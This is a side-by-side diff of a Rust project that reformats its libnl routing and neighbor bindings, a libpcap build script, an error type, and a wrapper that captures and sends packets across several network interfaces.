let Some(neigh) = link.get_neigh(&neighs, addr) else { continue; }; let Some(neigh) = link.get_neigh(&neighs, addr) else { continue; };
return Some((addr.try_into().ok()?, link, neigh)); return Some((addr.try_into().ok()?, link, neigh));
@ -207,8 +218,9 @@ pub fn get_neigh_for_addr(routes: &Cache<Route>, neighs: &Cache<Neigh>, links: &
Some(((&first_hop.gateway()?).try_into().ok()?, link, n.lladdr())) Some(((&first_hop.gateway()?).try_into().ok()?, link, n.lladdr()))
}) })
.next() { .next()
return Some((laddr, link, neigh.hw_address().try_into().ok()?)) {
return Some((laddr, link, neigh.hw_address().try_into().ok()?));
} }
} }
@ -219,17 +231,12 @@ pub fn get_neigh_for_addr(routes: &Cache<Route>, neighs: &Cache<Neigh>, links: &
pub fn get_default_route(routes: &Cache<Route>) -> Option<Route> { pub fn get_default_route(routes: &Cache<Route>) -> Option<Route> {
routes routes
.iter() .iter()
.find(|r| .find(|r| r.dst().map(|a| a.cidrlen()).unwrap_or(33) == 0)
r
.dst()
.map(|a| a.cidrlen())
.unwrap_or(33) == 0
)
} }
/// A struct representing the neighbor of a link /// A struct representing the neighbor of a link
pub struct Neigh { pub struct Neigh {
neigh: *mut rtnl_neigh neigh: *mut rtnl_neigh,
} }
impl Neigh { impl Neigh {
@ -250,16 +257,14 @@ impl Neigh {
} }
pub fn ifindex(&self) -> i32 { pub fn ifindex(&self) -> i32 {
unsafe { unsafe { rtnl_neigh_get_ifindex(self.neigh) }
rtnl_neigh_get_ifindex(self.neigh)
}
} }
} }
impl From<*mut nl_object> for Neigh { impl From<*mut nl_object> for Neigh {
fn from(value: *mut nl_object) -> Self { fn from(value: *mut nl_object) -> Self {
Self { Self {
neigh: value as *mut _ neigh: value as *mut _,
} }
} }
} }
@ -267,15 +272,13 @@ impl From<*mut nl_object> for Neigh {
/// Represents "an address" /// Represents "an address"
/// IPv4? IPv6? MAC? Whatever the "any" or "lo" devices use? Yes! /// IPv4? IPv6? MAC? Whatever the "any" or "lo" devices use? Yes!
pub struct Addr { pub struct Addr {
addr: *mut nl_addr addr: *mut nl_addr,
} }
impl Addr { impl Addr {
/// Returns the number of bytes that are in the address /// Returns the number of bytes that are in the address
pub fn len(&self) -> u32 { pub fn len(&self) -> u32 {
unsafe { unsafe { nl_addr_get_len(self.addr) }
nl_addr_get_len(self.addr)
}
} }
/// Returns the address, which can be interpreted based on the results of [`Addr::atype`] /// Returns the address, which can be interpreted based on the results of [`Addr::atype`]
@ -290,16 +293,12 @@ impl Addr {
// Determines the type of data in [`Addr::hw_address`] // Determines the type of data in [`Addr::hw_address`]
pub fn atype(&self) -> c_int { pub fn atype(&self) -> c_int {
unsafe { unsafe { nl_addr_get_family(self.addr) }
nl_addr_get_family(self.addr)
}
} }
/// Returns the length of the subnet mask applying to this address /// Returns the length of the subnet mask applying to this address
pub fn cidrlen(&self) -> c_uint { pub fn cidrlen(&self) -> c_uint {
unsafe { unsafe { nl_addr_get_prefixlen(self.addr) }
nl_addr_get_prefixlen(self.addr)
}
} }
} }
@ -308,18 +307,25 @@ impl Debug for Addr {
match self.atype() { match self.atype() {
AF_INET => { AF_INET => {
let octets = self.hw_address(); let octets = self.hw_address();
f f.debug_struct("Addr")
.debug_struct("Addr") .field(
.field("addr", &format!("{}.{}.{}.{}/{}", octets[0], octets[1], octets[2], octets[3], self.cidrlen())) "addr",
.finish() &format!(
}, "{}.{}.{}.{}/{}",
_ => { octets[0],
f octets[1],
.debug_struct("Addr") octets[2],
.field("addr", &self.hw_address()) octets[3],
.field("atype", &self.atype()) self.cidrlen()
),
)
.finish() .finish()
} }
_ => f
.debug_struct("Addr")
.field("addr", &self.hw_address())
.field("atype", &self.atype())
.finish(),
} }
} }
} }
@ -353,7 +359,7 @@ impl TryFrom<&Addr> for Ipv4Addr {
/// Represents a route in the kernel routing table /// Represents a route in the kernel routing table
pub struct Route { pub struct Route {
route: *mut rtnl_route route: *mut rtnl_route,
} }
impl Route { impl Route {
@ -385,9 +391,7 @@ impl Route {
/// Returns the amount of hops are in this route /// Returns the amount of hops are in this route
pub fn nexthop_len(&self) -> c_int { pub fn nexthop_len(&self) -> c_int {
unsafe { unsafe { rtnl_route_get_nnexthops(self.route) }
rtnl_route_get_nnexthops(self.route)
}
} }
/// Gets the hop at the index specify /// Gets the hop at the index specify
@ -403,21 +407,24 @@ impl Route {
/// Returns an iterator representing all the hops for this route /// Returns an iterator representing all the hops for this route
pub fn hop_iter(&self) -> NexthopIter<'_> { pub fn hop_iter(&self) -> NexthopIter<'_> {
NexthopIter { route: &self, index: 0 } NexthopIter {
route: &self,
index: 0,
}
} }
} }
impl From<*mut nl_object> for Route { impl From<*mut nl_object> for Route {
fn from(value: *mut nl_object) -> Self { fn from(value: *mut nl_object) -> Self {
Route { Route {
route: value as *mut _ route: value as *mut _,
} }
} }
} }
/// Represents the hops of a network route /// Represents the hops of a network route
pub struct Nexthop { pub struct Nexthop {
nexthop: *mut rtnl_nexthop nexthop: *mut rtnl_nexthop,
} }
impl Nexthop { impl Nexthop {
@ -425,7 +432,7 @@ impl Nexthop {
pub fn gateway(&self) -> Option<Addr> { pub fn gateway(&self) -> Option<Addr> {
unsafe { unsafe {
let addr = rtnl_route_nh_get_gateway(self.nexthop); let addr = rtnl_route_nh_get_gateway(self.nexthop);
if addr.is_null() { if addr.is_null() {
return None; return None;
} }
@ -436,16 +443,14 @@ impl Nexthop {
/// Returns the interface index for this network hop /// Returns the interface index for this network hop
pub fn ifindex(&self) -> i32 { pub fn ifindex(&self) -> i32 {
unsafe { unsafe { rtnl_route_nh_get_ifindex(self.nexthop) }
rtnl_route_nh_get_ifindex(self.nexthop)
}
} }
} }
/// An iterator for working with route hops /// An iterator for working with route hops
pub struct NexthopIter<'a> { pub struct NexthopIter<'a> {
route: &'a Route, route: &'a Route,
index: i32 index: i32,
} }
impl Iterator for NexthopIter<'_> { impl Iterator for NexthopIter<'_> {
@ -464,7 +469,10 @@ impl Iterator for NexthopIter<'_> {
} }
fn size_hint(&self) -> (usize, Option<usize>) { fn size_hint(&self) -> (usize, Option<usize>) {
(self.route.nexthop_len() as usize, Some(self.route.nexthop_len() as usize)) (
self.route.nexthop_len() as usize,
Some(self.route.nexthop_len() as usize),
)
} }
} }
@ -473,7 +481,8 @@ pub fn get_srcip_for_dstip(routes: &Cache<Route>, ip: Ipv4Addr) -> Option<Ipv4Ad
let mut sorted_routes = routes.iter().collect::<Vec<_>>(); let mut sorted_routes = routes.iter().collect::<Vec<_>>();
sorted_routes.sort_by(|r1, r2| { sorted_routes.sort_by(|r1, r2| {
r2.dst().map(|a| a.cidrlen()) r2.dst()
.map(|a| a.cidrlen())
.partial_cmp(&r1.dst().map(|a| a.cidrlen())) .partial_cmp(&r1.dst().map(|a| a.cidrlen()))
.unwrap_or(std::cmp::Ordering::Equal) .unwrap_or(std::cmp::Ordering::Equal)
}); });
@ -486,7 +495,10 @@ pub fn get_srcip_for_dstip(routes: &Cache<Route>, ip: Ipv4Addr) -> Option<Ipv4Ad
let Some(dst) = route.dst() else { return false }; let Some(dst) = route.dst() else { return false };
let mask = if dst.cidrlen() != 0 { let mask = if dst.cidrlen() != 0 {
(0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen())).0.overflowing_shl(32 - dst.cidrlen()).0 (0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen()))
.0
.overflowing_shl(32 - dst.cidrlen())
.0
} else { } else {
0 0
}; };
@ -496,7 +508,7 @@ pub fn get_srcip_for_dstip(routes: &Cache<Route>, ip: Ipv4Addr) -> Option<Ipv4Ad
(mask & dst_addr) == (mask & ip_int) (mask & dst_addr) == (mask & ip_int)
}) })
.filter_map(|route| { .filter_map(|route| {
route route
.hop_iter() .hop_iter()
.next() .next()

View File

@ -1,15 +1,15 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
@ -33,4 +33,4 @@ fn main() {
// panic!("hahahahah test {}", dst.display()); // panic!("hahahahah test {}", dst.display());
println!("cargo:rustc-link-search=native={}/lib", dst.display()); println!("cargo:rustc-link-search=native={}/lib", dst.display());
println!("cargo:rustc-link-lib=static=pcap"); println!("cargo:rustc-link-lib=static=pcap");
} }

View File

@ -1,22 +1,24 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
use errno::Errno; use errno::Errno;
use std::{ use std::{
convert::From, convert::From,
ffi::{self, CStr, CString}, fmt::Display, error, error,
ffi::{self, CStr, CString},
fmt::Display,
}; };
#[derive(Debug)] #[derive(Debug)]
@ -42,17 +44,20 @@ impl Display for Error {
} }
write!(f, "unknown pcap error") write!(f, "unknown pcap error")
}, }
Error::PcapErrorIf(ifname, err) => { Error::PcapErrorIf(ifname, err) => {
if let Ok(err_str) = std::str::from_utf8(err.as_bytes()) { if let Ok(err_str) = std::str::from_utf8(err.as_bytes()) {
return write!(f, "pcap error on interface {ifname}: {err_str}"); return write!(f, "pcap error on interface {ifname}: {err_str}");
} }
write!(f, "unknown pcap error with interface {ifname}") write!(f, "unknown pcap error with interface {ifname}")
}, }
Error::StringParse => write!(f, "unable to parse a string from pcap"), Error::StringParse => write!(f, "unable to parse a string from pcap"),
Error::UnknownPacketType(ptype) => write!(f, "unknown packet type ({ptype})"), Error::UnknownPacketType(ptype) => write!(f, "unknown packet type ({ptype})"),
Error::PacketLengthInvalid => write!(f, "received a packet with a length that mismatched the header"), Error::PacketLengthInvalid => write!(
f,
"received a packet with a length that mismatched the header"
),
Error::InvalidPcapFd => write!(f, "internal pcap file descriptor error"), Error::InvalidPcapFd => write!(f, "internal pcap file descriptor error"),
Error::Io(io) => write!(f, "std::io error ({io})"), Error::Io(io) => write!(f, "std::io error ({io})"),
Error::Libc(err) => write!(f, "libc error ({err})"), Error::Libc(err) => write!(f, "libc error ({err})"),
@ -64,7 +69,7 @@ impl Error {
pub fn add_ifname(self, ifname: &str) -> Self { pub fn add_ifname(self, ifname: &str) -> Self {
match self { match self {
Error::PcapError(err) => Error::PcapErrorIf(ifname.to_string(), err), Error::PcapError(err) => Error::PcapErrorIf(ifname.to_string(), err),
other => other other => other,
} }
} }
} }
@ -74,7 +79,7 @@ impl error::Error for Error {
match self { match self {
Error::Io(err) => Some(err), Error::Io(err) => Some(err),
Error::Libc(err) => Some(err), Error::Libc(err) => Some(err),
_ => None _ => None,
} }
} }
} }

View File

@ -1,15 +1,15 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.

View File

@ -1,24 +1,25 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
use std::{ use std::{
collections::HashMap,
ffi::{CStr, CString}, ffi::{CStr, CString},
os::fd::{AsRawFd, RawFd}, os::fd::{AsRawFd, RawFd},
pin::Pin, pin::Pin,
ptr, slice, ptr, slice,
task::{self, Poll}, collections::HashMap, task::{self, Poll},
}; };
pub mod error; pub mod error;
@ -470,9 +471,12 @@ impl<T: Activated> futures::Stream for InterfaceStream<T> {
} }
} }
pub fn new_aggregate_interface_filtered<F>(crash: bool, mut f: F) -> error::Result<AggregateInterface<DevDisabled>> pub fn new_aggregate_interface_filtered<F>(
crash: bool,
mut f: F,
) -> error::Result<AggregateInterface<DevDisabled>>
where where
F: FnMut(&str) -> bool F: FnMut(&str) -> bool,
{ {
let interfaces = if crash { let interfaces = if crash {
PcapDevIterator::new()? PcapDevIterator::new()?
@ -500,10 +504,7 @@ where
.collect::<HashMap<_, _>>() .collect::<HashMap<_, _>>()
}; };
Ok(AggregateInterface { Ok(AggregateInterface { interfaces, crash })
interfaces,
crash
})
} }
pub fn new_aggregate_interface(crash: bool) -> error::Result<AggregateInterface<DevDisabled>> { pub fn new_aggregate_interface(crash: bool) -> error::Result<AggregateInterface<DevDisabled>> {
@ -512,14 +513,13 @@ pub fn new_aggregate_interface(crash: bool) -> error::Result<AggregateInterface<
pub struct AggregateInterface<T: State> { pub struct AggregateInterface<T: State> {
interfaces: HashMap<String, Interface<T>>, interfaces: HashMap<String, Interface<T>>,
crash: bool crash: bool,
} }
impl<T: State> AggregateInterface<T> { impl<T: State> AggregateInterface<T> {
pub fn set_non_blocking(&mut self, nonblocking: bool) -> error::Result<()> { pub fn set_non_blocking(&mut self, nonblocking: bool) -> error::Result<()> {
for (n, i) in self.interfaces.iter_mut() { for (n, i) in self.interfaces.iter_mut() {
i i.set_non_blocking(nonblocking)
.set_non_blocking(nonblocking)
.map_err(|e| e.add_ifname(n))?; .map_err(|e| e.add_ifname(n))?;
} }
@ -571,33 +571,33 @@ impl<T: Disabled> AggregateInterface<T> {
pub fn activate(self) -> error::Result<AggregateInterface<DevActivated>> { pub fn activate(self) -> error::Result<AggregateInterface<DevActivated>> {
Ok(AggregateInterface { Ok(AggregateInterface {
interfaces: if self.crash { interfaces: if self.crash {
self.interfaces self.interfaces
.into_iter() .into_iter()
.map(|(name, interface)| { .map(|(name, interface)| {
let new_name = name.clone(); let new_name = name.clone();
interface interface
.activate() .activate()
.map(|interface| (name, interface)) .map(|interface| (name, interface))
.map_err(|e| e.add_ifname(&new_name)) .map_err(|e| e.add_ifname(&new_name))
}) })
.collect::<error::Result<_>>()? .collect::<error::Result<_>>()?
} else { } else {
self.interfaces self.interfaces
.into_iter() .into_iter()
.filter_map(|(name, interface)| { .filter_map(|(name, interface)| {
let name_clone = name.clone(); let name_clone = name.clone();
interface interface
.activate() .activate()
.map(|interface| (name, interface)) .map(|interface| (name, interface))
.ok() .ok()
.or_else(|| { .or_else(|| {
println!("{} failed to activate", name_clone); println!("{} failed to activate", name_clone);
None None
}) })
}) })
.collect::<_>() .collect::<_>()
}, },
crash: self.crash crash: self.crash,
}) })
} }
} }
@ -606,25 +606,18 @@ impl<T: Activated> AggregateInterface<T> {
pub fn datalinks(&self) -> HashMap<&str, i32> { pub fn datalinks(&self) -> HashMap<&str, i32> {
self.interfaces self.interfaces
.iter() .iter()
.map(|(name, interface)| { .map(|(name, interface)| (&**name, interface.datalink()))
(&**name, interface.datalink())
})
.collect::<_>() .collect::<_>()
} }
pub fn prune<F>(&mut self, mut f: F) pub fn prune<F>(&mut self, mut f: F)
where where
F: FnMut(&str, &mut Interface<T>) -> bool F: FnMut(&str, &mut Interface<T>) -> bool,
{ {
let to_prune = self.interfaces let to_prune = self
.interfaces
.iter_mut() .iter_mut()
.filter_map(|(k,v)| { .filter_map(|(k, v)| if (f)(k, v) { Some(k.clone()) } else { None })
if (f)(k, v) {
Some(k.clone())
} else {
None
}
})
.collect::<Vec<_>>(); .collect::<Vec<_>>();
for name in to_prune { for name in to_prune {
@ -636,23 +629,26 @@ impl<T: Activated> AggregateInterface<T> {
&mut self, &mut self,
filter: &str, filter: &str,
optimize: bool, optimize: bool,
mask: Option<u32> mask: Option<u32>,
) -> error::Result<HashMap<&str, Box<ffi::BpfProgram>>> { ) -> error::Result<HashMap<&str, Box<ffi::BpfProgram>>> {
if self.crash { if self.crash {
self.interfaces self.interfaces
.iter_mut() .iter_mut()
.map(|(name, interface)| { .map(|(name, interface)| {
interface.set_filter(filter, optimize, mask) interface
.set_filter(filter, optimize, mask)
.map(|bpf| (&**name, bpf)) .map(|bpf| (&**name, bpf))
.map_err(|e| e.add_ifname(&name)) .map_err(|e| e.add_ifname(&name))
}) })
.collect::<error::Result<_>>() .collect::<error::Result<_>>()
} else { } else {
Ok(self.interfaces Ok(self
.interfaces
.iter_mut() .iter_mut()
.filter_map(|(name, interface)| { .filter_map(|(name, interface)| {
let name_clone = name.clone(); let name_clone = name.clone();
interface.set_filter(filter, optimize, mask) interface
.set_filter(filter, optimize, mask)
.map(|bpf| (&**name, bpf)) .map(|bpf| (&**name, bpf))
.ok() .ok()
.or_else(|| { .or_else(|| {
@ -666,7 +662,9 @@ impl<T: Activated> AggregateInterface<T> {
pub fn sendpacket(&self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> { pub fn sendpacket(&self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> {
if let Some(interface) = self.interfaces.get(ifname) { if let Some(interface) = self.interfaces.get(ifname) {
interface.sendpacket(packet).map_err(|e| e.add_ifname(ifname))?; interface
.sendpacket(packet)
.map_err(|e| e.add_ifname(ifname))?;
} }
Ok(()) Ok(())
@ -676,7 +674,8 @@ impl<T: Activated> AggregateInterface<T> {
impl<T: NotListening> AggregateInterface<T> { impl<T: NotListening> AggregateInterface<T> {
pub fn stream(self) -> error::Result<AggregateInterfaceStream<DevActivated>> { pub fn stream(self) -> error::Result<AggregateInterfaceStream<DevActivated>> {
Ok(AggregateInterfaceStream { Ok(AggregateInterfaceStream {
streams: self.interfaces streams: self
.interfaces
.into_iter() .into_iter()
.map(|(ifname, interface)| { .map(|(ifname, interface)| {
let new_name = ifname.clone(); let new_name = ifname.clone();
@ -685,13 +684,13 @@ impl<T: NotListening> AggregateInterface<T> {
.map(|stream| (ifname, stream)) .map(|stream| (ifname, stream))
.map_err(|e| e.add_ifname(&new_name)) .map_err(|e| e.add_ifname(&new_name))
}) })
.collect::<error::Result<_>>()? .collect::<error::Result<_>>()?,
}) })
} }
} }
pub struct AggregateInterfaceStream<T: Activated> { pub struct AggregateInterfaceStream<T: Activated> {
streams: StreamMap<String, InterfaceStream<T>> streams: StreamMap<String, InterfaceStream<T>>,
} }
impl<T: Activated> AggregateInterfaceStream<T> { impl<T: Activated> AggregateInterfaceStream<T> {
@ -700,15 +699,9 @@ impl<T: Activated> AggregateInterfaceStream<T> {
} }
pub fn sendpacket(&mut self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> { pub fn sendpacket(&mut self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> {
if let Some(interface) = self.streams if let Some(interface) = self.streams.values_mut().find(|interface| {
.values_mut() interface.inner.get_ref().interface.dev_name.as_bytes() == ifname.as_bytes()
.find(|interface| { }) {
interface.inner
.get_ref()
.interface
.dev_name
.as_bytes() == ifname.as_bytes()
}) {
interface.sendpacket(packet)?; interface.sendpacket(packet)?;
} }
@ -722,4 +715,4 @@ impl<T: Activated> futures::Stream for AggregateInterfaceStream<T> {
fn poll_next(mut self: Pin<&mut Self>, cx: &mut task::Context<'_>) -> Poll<Option<Self::Item>> { fn poll_next(mut self: Pin<&mut Self>, cx: &mut task::Context<'_>) -> Poll<Option<Self::Item>> {
self.streams.poll_next_unpin(cx) self.streams.poll_next_unpin(cx)
} }
} }

View File

@ -1,15 +1,15 @@
// Copyright (C) 2023 Andrew Rioux // Copyright (C) 2023 Andrew Rioux
// //
// This program is free software: you can redistribute it and/or modify // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as // it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the // published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version. // License, or (at your option) any later version.
// //
// This program is distributed in the hope that it will be useful, // This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of // but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details. // GNU Affero General Public License for more details.
// //
// You should have received a copy of the GNU Affero General Public License // You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.